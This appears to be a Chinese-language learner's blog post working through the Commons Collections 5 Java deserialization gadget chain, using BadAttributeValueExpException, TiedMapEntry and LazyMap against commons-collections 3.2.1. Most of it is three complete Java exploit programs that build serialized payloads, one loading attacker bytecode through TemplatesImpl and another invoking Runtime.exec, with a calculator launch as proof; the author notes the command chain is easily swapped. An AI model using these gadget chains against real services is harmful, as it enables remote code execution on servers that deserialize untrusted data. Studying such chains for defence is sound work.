CC5
在前面CC6的学习中,我们在找LazyMap.get()的其他调用链时,找到了org.apache.commons.collections.keyvalue.TiedMapEntry
类,在CC6中,我们着重于调用TiedMapEntry类hashCode()方法从而可以调用到getValue()方法:

但是纵观TiedMapEntry类的源码,还可以看到一个toString()方法:

这个类也可以调用到TiedMapEntry类的getValue()方法,现在就是看是否还有哪个类可以调用到这个方法,也就是CC5要解决的问题。
测试环境:
- JDK 8u411
- commons-collections 3.2.1
代码调试
在ysoserial链中,我们可以看见新利用到了一个类,BadAttributeValueExpException
,这个类位于javax.management.BadAttributeValueExpException
,
这里需要知道一个知识点:如果一个类没有实现Serializable
接口,但只要某个类的祖先类(父类、祖父类等)实现了Serializable
接口,那么其所有子类也被认为是可序列化的。
BadAttributeValueException
类部分源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
public class BadAttributeValueExpException extends Exception {
private static final long serialVersionUID = -3105272988410493376L;
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
|
虽然这个类没有实现Serializable接口,但是其父类Exception的父类Throwable实现了Serializable接口,所以BadAttributeValueException也是可以序列化的。
个人思考
现在继续来看源码,我看到了这个类的构造方法:

这是一个三元操作符,如果val不为null,则返回val.toString()
,既然这里是构造方法,我想到了CC3的利用方法,只要我们构造了val为我们设置好的TiedMapEntry
类,那么我们是否能够成功调用。
在CC3利用到了InstantiateTransformer类,那么在这里再尝试利用一下。
想了一下,理论上应该是可以的,没得好大意义吗,因为最终在反序列化的时候还是需要调用其他类的readObject(),以CC3的HashMap为例,还是构建下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
package org.example;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{ctf})};
Transformer chain = new ChainedTransformer(chainPart);
Map hash0 = new HashMap();
Map lazy0 = LazyMap.decorate(hash0,chain);
TiedMapEntry haha0 = new TiedMapEntry(lazy0,"fupanc0");
Transformer[] realTransformer = new Transformer[]{new ConstantTransformer(BadAttributeValueExpException.class),new InstantiateTransformer(new Class[]{Object.class},new Object[]{haha0})};
Transformer outerMap = new ChainedTransformer(realTransformer);
Map hash1 = new HashMap();
Map lazy1 = LazyMap.decorate(hash1,outerMap);
TiedMapEntry haha1 = new TiedMapEntry(lazy1,"fupanc1");
HashMap hashMap = new HashMap();
hashMap.put(haha1,"xxxx");
//错误点
hash1.remove("fupanc1");
hash0.remove("fupanc0");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
代码有问题,在运行后是成功在put部分弹出计算机,这说明代码逻辑应该没问题,并且跟源码发现前面确实在按预期走,在弹出计算机后在后面的InstantiateTransformer#transforme
的catch的var6部分后一点突然结束了,导致程序直接结束,让后面的remove和序列化等操作都无法实现,有点怪,先遗留这个问题,等后面学深了再来想。
除了上面无法全部运行的问题,还有看代码,其实可以说是多此一举了,定义了两个TiedMapEntry来实现,就简单了解一下就行了。
现在来尝试解决一下,既然问题是在序列化的时候就弹出计算机,并且调试了一下,问题应该是在动态加载字节码这里,结合全部CC链的知识点,那么是否我们可以先假再真呢?
尝试一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
package org.example;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{ctf})};
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
Map hash0 = new HashMap();
Map lazy0 = LazyMap.decorate(hash0,chain);
TiedMapEntry haha0 = new TiedMapEntry(lazy0,"fupanc0");
Transformer[] realTransformer = new Transformer[]{new ConstantTransformer(BadAttributeValueExpException.class),new InstantiateTransformer(new Class[]{Object.class},new Object[]{haha0})};
Transformer outerMap = new ChainedTransformer(realTransformer);
Map hash1 = new HashMap();
Map lazy1 = LazyMap.decorate(hash1,outerMap);
TiedMapEntry haha1 = new TiedMapEntry(lazy1,"fupanc1");
HashMap hashMap = new HashMap();
hashMap.put(haha1,"xxxx");
hash1.remove("fupanc1");
hash0.remove("fupanc0");
Field field1 = chain.getClass().getDeclaredField("iTransformers");
field1.setAccessible(true);
field1.set(chain,chainPart);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功在反序列化时弹出计算机
正式学习
继续看源码,我们看BadAttributeValueExpException的readObject()方法,这里也利用了toString()方法:

看这个readObject()方法,valObj
是从gf
中的val
参数获取的,而gf
又是从反序列化流中读取的。所以我们只要控制了BadAttributeValueExpException
类的val
参数,就相当于控制了valObj
,所以我们这里需要将val设置为TiedMapEntry类的实例。

继续看代码,只要我们传入的val
的值不是String类型,并且符合第三个条件中的的任意一个,就可以成功进入第三个条件的语句,从而可以执行TiedMapEntry
类的toString()
方法。
在java中,Sysyem.getSecurityManager()
的返回值默认是null,看如下测试语句:

所以一般是可以进入到这个语句的。
那么现在就差构造了,思路就是将一个设置好了的TiedMapEntry
类传给val
就行,结合前面学过的代码,可以先随便传,再反射修改即可,所以可以如下构造代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
package org.example;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(chainPart);
Map hash = new HashMap();
Map lazy = LazyMap.decorate(hash,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
Object o = new BadAttributeValueExpException(null);
Field x = BadAttributeValueExpException.class.getDeclaredField("val");
x.setAccessible(true);
x.set(o,outerMap);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(o);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
}
|
成功弹出计算机。
同样的如果你想使用其他类型,比如结合动态加载字节码之类的,基本都是只用改一下chainPart
那里的链就行。
问题